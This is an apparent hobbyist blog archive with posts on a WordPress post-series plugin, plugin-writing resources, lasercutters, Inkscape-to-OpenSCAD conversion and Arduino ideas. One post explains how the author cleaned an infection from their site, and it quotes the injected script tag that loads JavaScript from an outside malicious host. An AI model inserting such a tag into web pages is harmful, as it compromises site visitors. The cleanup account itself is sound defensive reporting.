Simple Series with SEO! after just one day

I’m really happy to report that per the WordPress.org stats, this little post series plugin has been downloaded more than 100 times so far.  That’s really awesome.  And, now that I’ve figured out how to work this wacky SVN thing, I think it would be fun to release some of the other random little plugins I’ve developed over the last few years.

As of the latest version 1.4, the plugin is now easy to modify with some CSS added to your stylesheet.  I could have added this as a text field option a settings page for the plugin, but I really like the stripped down simplicity of the plugin as is.  Even with all the comment lines in the plugin, it is only 53 lines of code.  If super short code were a goal1 I could probably cut that in half.2

Now I have to find some of my old plugins that others might find useful.  I’ve got one for frame escaping, one for making pie charts…  I know there are a few other random ones as well.

Default Series Title
  1. And it isn’t []
  2. Obviously, I’m not going to do this since it would make the code next to illegible []

Simple Series WordPress Plugin

I’ve written a new WordPress plugin specifically designed to let you simply and easily create a series of related posts.  You can download Simple Series here.

1. What does “Simple Series” do?

Simple Series uses a WordPress shortcode to associate your posts together.  All you have to do is use the same shortcode in all of the posts you want to associate together and the plugin does the rest.  It will automatically find all of the posts with the same shortcode, organize them by publication date, and put them together in a professional and easy to read format.  If you wish to change the format, you can just add your own custom CSS to your theme.

2. How does “Simple Series” work?

Easy!  Just add the shortcode to each of the posts you want to put in the series.  Inside the shortcode you will need to specify the title for the series.  Like so:

Default Series Title

No problem!  The “Simple Series” plugin will always update the series lists in each of your posts whenever you publish a new post.  The newest post will always be added to the series in chronological order, by publication date.  You can see an example of what it looks like here in my own DrawBot series.

4. I have more questions!

Cool!  Please leave a comment to this post or send me an e-mail!

Default Series Title

A nifty little WordPress plugin…

The idea for this little plugin has been rattling around in my head for a little while now.  It clocks in at less than 60 lines of code, including comments, and makes it easy to create a “series” for posts.

As I’ve been blogging about my (mis)adventures in building a DrawBot, I’ve been updating each post to contain a link back to all of the prior posts in the series.  However, if someone were to find one of the first posts – they wouldn’t see a link to a later post.  That is, unless I update all the posts.  That’s not really much of an option, since I’ve racked up 23 posts in less than 19 days. 12

This plugin is actually super simple.  Here’s what it does:

  1. Add a “post meta” tag for the current post with the same key as whatever you want to name the post series
  2. Query the database for all posts with the same post meta key as the one for the current post
  3. Output an ordered chronological list of all posts in with the same post meta key as the one for the current post

The simplicity of this plugin are actually some of it’s strongest features.  Unlike a lot of other series plugins out there, it doesn’t create any unnecessary tables in your WordPress database.  There are no settings to mess with, no CSS to fiddle with, no ugly standard formatting to overcome.

The only downside I can perceive is that if you delete the shortcode from a plugin, it will still leave the post-meta attached to the post and the post will still appear in the series.  If you leave the shortcode in and don’t specify a series title, it will delete the post-meta.  I suppose I could include a little button in the interface to delete the post from the series, but really, it’s just not going to be used that often.

Anyhow, this is something that I’ve wanted to have for a long time – I just hadn’t gotten around to building it yet.

Default Series Title
  1. I’ve got a lot to say. []
  2. And, actually, that’s just 23 posts on this one topic.  I’ve probably blogged an equal amount over on the MakerBot blog, with a few totally random additional posts here. []

How to clean an “jsss.ce.ms” SQL injection

Well, that was exciting.  Apparently my website had been attached by some kind of SQL injection.  I was curious if my self-hosted WordPress website had been attacked like 4,300 others.  After some digging around, I found that this was not the case.  A scan by UnmaskParasites.com revealed nothing unusual.  However, a scan by Sucuri’s SiteCheck revealed some Javascript malware entries in some posts.

I say “some” posts.  By this I mean 3300 posts and post revisions dating back to the very first blog entry on this website going to as recently as July 13, 2011.  Not including this post, I’ve got 721 published blog entries – with almost all containing this little gem:

<script type=”text/javascript” src=”http://jsss.ce.ms/16″></script><script type=”text/javascript” src=”http://jsss.ce.ms/16″></script>

Here’s what I did to clean this infection:

  • Copy my entire “_posts”  to “_posts2”
  • Copy my entire “_posts” to “_posts3”
  • Downloaded “_posts3” as a CSV
  • Find and replace all instances of the above script in the CSV with “”
  • Deleted the contents of “_posts3”
  • Uploaded the altered CSV into “_posts3”
  • Renamed “_posts” to “_posts1” and “_posts3” to “_posts”
  • Done!

It’s definitely possible to create a little WordPress plugin to clean this kind of an infection out, but there’s little incentive to do so when the manual fix is relatively easy.  If you’ve got this kind of an infection in your site and don’t know how to take care of it, drop me a line.

WordPress Plugin Writing Resources

WordPress is easily my favorite open source software project.  I love it for it’s functionality, flexibility, and extensibility.  When it comes to writing a plugin, these are my favorite resources.  Don’t write a plugin without them!

  1. WordPress.org Codex for Writing a Plugin
    1. If you’re just getting started, this is the place to begin
  2. WordPress.org Codex Plugin API
    1. a great overview of the WordPress plugin API
  3. WordPress Action Reference
    • When WordPress displays a post, page, or the administrative pages it has to run through a number of functions and actions.  Your plugin will need to be activated at one of these points, and it is very helpful to know the order in which things happen.
  4. WordPress Filter Reference
    • The WordPress filter reference is a list of WordPress filters.  Each one will be able to deliver a little piece of the website for your to manipulate in your plugins.
  5. WordPress PHP Cross-Reference
    • The WordPress codex is pretty good – but it is not comprehensive.  If you want to know how some of the more obscure functions, variables, or constants work, you’ll just need to dive into the source code itself.  PHPXRef is, hands down, the best way to do this.  It let’s you search and read the the source code from their website.
  6. Top 10 Most Common Coding Mistakes in WordPress Plugins
    • This is quite possibly the best blog post about writing WordPress plugins.  Applying these guidelines will make you a better WordPress developer and your plugins faster, more efficient, and more awesome. :)
  7. How to Design and Style Your WordPress Plugin Admin Panel
    • In a lot of ways, a program is only as good as its user interface.  Build a good friendly and powerful interface and people will use your program.  Build a bad one and no one will use it, no matter how awesome it is.  This one blog post gives numerous little ways to make your WordPress plugin administrative interface look better.

Is a lasercutter for me?

After consideration, maybe not.  Following Maker Faire Bay Area 2011 I was again prompted to investigate the feasibility of a lasercutter.  Now, I don’t have any great big grand plans for one – I just think it would be awesome to have one and I would be able to think of some pretty sweet uses for it if I had one lying around.

In any case, from what I can see there are some small and very professional looking fully assembled models starting around $8000. 1  As a hobbyist with no actual plans for immediate use of a lasercutter, this is way way too much for random projects.

I’ve seen a few websites that purport to have models for around $2,500 or so with kit options starting around $1800.  The way I look at it, there’s not a lot that can go wrong with a 3D printer.  A laser on the other hand…  could blind, burn, and cut from an arbitrary distance.  Besides, if a company can’t put together a simple WordPress website, I’m hesitant to drop thousands of dollars on their product. 2

There’s also two DIY options – the open source BuildLog.net and the promised-to-be-open-source Lasersaur.  It’s not exactly fair to criticize them for incomplete documentation.  BuildLog.net appears to be a collection of people documenting their laser cutter builds and aren’t advertising themselves as a complete tutorial.  Lasersaur started off as a very popular Kickstarter project but their site was almost devoid of information or developments until they re-surfaced at Maker Faire Bay Area 2011.  Going through the Lasersaur’s bill of materials I stopped tallying the cost once it hit $4,000.00.  At that point, it probably doesn’t make sense for me to try building my own.

For the time being, I don’t think I’m going to invest in a lasercutter, DIY kit, or open source project.  Besides, there are plenty of places in the Bay Area nearby I could have something cut or rent time on a machine.  If there was a project for up to, say, $2500 and had really great documentation, I might reconsider – but I don’t see that happening soon.

 

  1. I was thinking of the lowest Epilog model and one referred to as a “Turnkey Laser Business.” []
  2. And, really guys, come on. []

Before I had robots…

My favorite open source project was WordPress.  Now, don’t get me wrong, I love me my WordPress, but I tend to usually spend my precious tinkering time with robots.

But sometimes, such as this very morning, I enjoy just a little bit of tinkering.  I’ve made a few very subtle changes to the blog.  You shouldn’t notice unless you do something very odd here.  If you do, you might notice a little extra wibbley wobbley in your timey wimey.

What’s the best toolpath for SVG to OpenSCAD?

While I have one selfish motive for wanting a reliable toolpath for going from an SVG to OpenSCAD, I’d also like to do a tutorial on this. 1 2.

  • I can export an SVG from Inkscape to a DXF.
  • I can import that same DXF into OpenSCAD.
  • I can’t render the DXF or extrude it into a solid.

I just can’t seem to make OpenSCAD make heads or tails of that DXF.  Is this a problem with the DXF files produced by Inkscape?  A little bit of Googling tells me that Inkscape v0.48 (the one I’m using) exports in DXF R13 format which includes features that are not well supported by OpenSCAD.  My attempts at finding plugins that will successfully allow Inkscape to expert to DXF R12 format have not been fruitful.

  1. 3D Models with OpenSCAD on Make uses a toolpath that isn’t available in my version of Inkscape
  2. DXF R12 exporter, didn’t work for me
  3. DXF R12 exporter, didn’t work for me either
  4. Yet another DXF R12 exporter that did not work for me
  5. Link suggesting that something called “pstoedit” might be helpful in converting SVG’s to DXF R12’s.
  6. From Photo to Inkscape to DXF to OpenSCAD to MakerBot to Costume Jewelry is an excellent tutorial on the exact toolpath I would like to get working

After MUCH fiddling around I have discovered that the only DXF exporting plugin I can get to work is the one called “Better DXF Output”, NOT to be confused with “Better Better DXF Output.”  Unfortunately, I’ve installed so many of these little plugins I no longer recall exactly which combination of them might actually be working for me.  I’ll do a little investigation and post a short tutorial on how it’s worked for me.

Edit: I’m 85% certain this is the plugin that worked for me.  http://www.bobcookdev.com/inkscape/inkscape-dxf.html

  1. Selfish as in I already have an idea for how I would use this knowledge to make something cool. []
  2. What could it be?  Hint:  It’s related to something that rhymes with “Doctor Who” []

Microcontrollers?

Recently more than one person has suggested I try my hand at an Arduino.  I’ve got a spare Extruder Controller which happens to include an Arduino.

I rarely bother learning something new if I can help it. 1  And, I’ll actively avoid trying to learn something new if there’s not a need to learn it.

I have no doubt that once I figure out how to use an Arduino I’d enjoy it.  However, I just don’t have any ideas of what I’d want to use a microcontroller for at this time.  And, really, none of the projects I’ve seen is particularly compelling.  And, without an end goal I’m shooting for, this would just be learning something for learning’s sake.

So, here’s the question I pose to you, gentle reader:

What would you design/build if you had access to an Arduino, a Thing-O-Matic, a Cupcake, an Egg-Bot, and lots of plastic?

  1. I remember in high school that it was so much easier for me to derive Tan, Sin, Cos, rather than to actually remember the values around the unit circle.  And really, if you can derive that information quickly, why bother committing it to memory? []